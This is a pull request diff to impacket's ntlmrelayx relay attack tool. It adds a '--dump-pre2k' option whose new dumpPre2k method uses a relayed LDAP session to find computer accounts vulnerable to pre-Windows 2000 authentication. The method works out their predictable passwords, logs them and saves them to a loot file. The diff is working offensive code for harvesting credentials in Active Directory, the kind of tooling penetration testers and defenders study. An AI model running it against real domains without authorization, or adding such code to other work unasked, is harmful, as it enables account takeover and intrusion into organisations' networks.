Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -195,7 +195,7 @@ def start_servers(options, threads):
c.setLootdir(options.lootdir)
c.setOutputFile(options.output_file)
c.setdumpHashes(options.dump_hashes)
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record)
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record, options.dump_pre2k)
c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port, options.icpr_ca_name)
c.setMSSQLOptions(options.query)
c.setInteractive(options.interactive)
Expand Down Expand Up @@ -398,6 +398,7 @@ def stop_servers(threads):
ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user')
ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user')
ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info')
ldapoptions.add_argument('--dump-pre2k', action='store_true', required=False, help='Enumerate computer accounts vulnerable to pre-Windows 2000 authentication (predictable password)')
ldapoptions.add_argument('--add-dns-record', nargs=2, action='store', metavar=('NAME', 'IPADDR'), required=False, help='Add the <NAME> record to DNS via LDAP pointing to <IPADDR>')

#Common options for SMB and LDAP
Expand Down
124 changes: 124 additions & 0 deletions impacket/examples/ntlmrelayx/attacks/ldapattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -645,6 +645,126 @@ def aceApplies(ace_guid, object_class):
# If none of these match, the ACE does not apply to this object
return False

def dumpPre2k(self, domainDumper):
"""
Enumerate computer accounts potentially vulnerable to pre-Windows 2000 authentication.
These accounts have a predictable password (lowercase machine name without trailing $).
Detection: PASSWD_NOTREQD flag (0x0020) in userAccountControl, or pwdLastSet equals whenCreated
(password was never changed since account creation).
"""
LOG.info("Enumerating computer accounts potentially vulnerable to Pre-Windows 2000 authentication")

# UF_WORKSTATION_TRUST_ACCOUNT = 0x1000 (4096)
# UF_PASSWD_NOTREQD = 0x0020 (32)
# Search for computer accounts with PASSWD_NOTREQD flag set
search_filter = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=32))'
attributes = [
'sAMAccountName',
'userAccountControl',
'pwdLastSet',
'whenCreated',
'distinguishedName',
'operatingSystem',
]

success = self.client.search(
domainDumper.root,
search_filter,
search_scope=ldap3.SUBTREE,
attributes=attributes
)

pre2k_candidates = []

if success:
for entry in self.client.response:
if entry['type'] != 'searchResEntry':
continue
try:
sam = entry['attributes']['sAMAccountName']
uac = entry['attributes']['userAccountControl']
pwd_last_set = entry['attributes']['pwdLastSet']
when_created = entry['attributes']['whenCreated']
dn = entry['attributes']['distinguishedName']
os_name = entry['attributes'].get('operatingSystem', 'N/A')

pre2k_candidates.append({
'sAMAccountName': sam,
'distinguishedName': dn,
'userAccountControl': uac,
'pwdLastSet': str(pwd_last_set),
'whenCreated': str(when_created),
'operatingSystem': os_name,
'predictedPassword': sam.rstrip('$').lower(),
})
except (KeyError, IndexError):
continue

# Also search for computer accounts where password was never changed (pwdLastSet == 0)
search_filter2 = '(&(objectCategory=computer)(pwdLastSet=0)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
success2 = self.client.search(
domainDumper.root,
search_filter2,
search_scope=ldap3.SUBTREE,
attributes=attributes
)

if success2:
existing_sams = {c['sAMAccountName'] for c in pre2k_candidates}
for entry in self.client.response:
if entry['type'] != 'searchResEntry':
continue
try:
sam = entry['attributes']['sAMAccountName']
if sam in existing_sams:
continue
uac = entry['attributes']['userAccountControl']
pwd_last_set = entry['attributes']['pwdLastSet']
when_created = entry['attributes']['whenCreated']
dn = entry['attributes']['distinguishedName']
os_name = entry['attributes'].get('operatingSystem', 'N/A')

pre2k_candidates.append({
'sAMAccountName': sam,
'distinguishedName': dn,
'userAccountControl': uac,
'pwdLastSet': str(pwd_last_set),
'whenCreated': str(when_created),
'operatingSystem': os_name,
'predictedPassword': sam.rstrip('$').lower(),
})
except (KeyError, IndexError):
continue

if not pre2k_candidates:
LOG.info("No Pre-Windows 2000 vulnerable computer accounts found")
return

LOG.info("Found %d potentially vulnerable Pre-Windows 2000 computer account(s):" % len(pre2k_candidates))

fd = None
filename = os.path.join(
self.config.lootdir,
"pre2k-dump-%s-%d.json" % (self.username, random.randint(0, 99999))
)

for candidate in pre2k_candidates:
LOG.info(
" %-30s Password: %-25s OS: %s" % (
candidate['sAMAccountName'],
candidate['predictedPassword'],
candidate['operatingSystem'],
)
)

try:
fd = open(filename, "w")
json.dump(pre2k_candidates, fd, indent=2)
fd.close()
LOG.info("Pre-Windows 2000 results saved to %s" % filename)
except Exception as e:
LOG.error("Failed to save Pre-Windows 2000 results: %s" % str(e))

def dumpADCS(self):

def is_template_for_authentification(entry):
Expand Down Expand Up @@ -1084,6 +1204,10 @@ def run(self):
self.dumpADCS()
LOG.info("Done dumping ADCS info")

# Dump Pre-Windows 2000 vulnerable computer accounts
if self.config.dumppre2k:
self.dumpPre2k(domainDumper)

if self.config.adddnsrecord:
name = self.config.adddnsrecord[0]
ipaddr = self.config.adddnsrecord[1]
Expand Down
3 changes: 2 additions & 1 deletion impacket/examples/ntlmrelayx/utils/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -192,7 +192,7 @@ def setDomainAccount(self, machineAccount, machineHashes, domainIp):
def setRandomTargets(self, randomtargets):
self.randomtargets = randomtargets

def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord):
def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord, dumppre2k=False):
self.dumpdomain = dumpdomain
self.addda = addda
self.aclattack = aclattack
Expand All @@ -205,6 +205,7 @@ def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateus
self.dumpadcs = dumpadcs
self.sid = sid
self.adddnsrecord = adddnsrecord
self.dumppre2k = dumppre2k

def setMSSQLOptions(self, queries):
self.queries = queries
Expand Down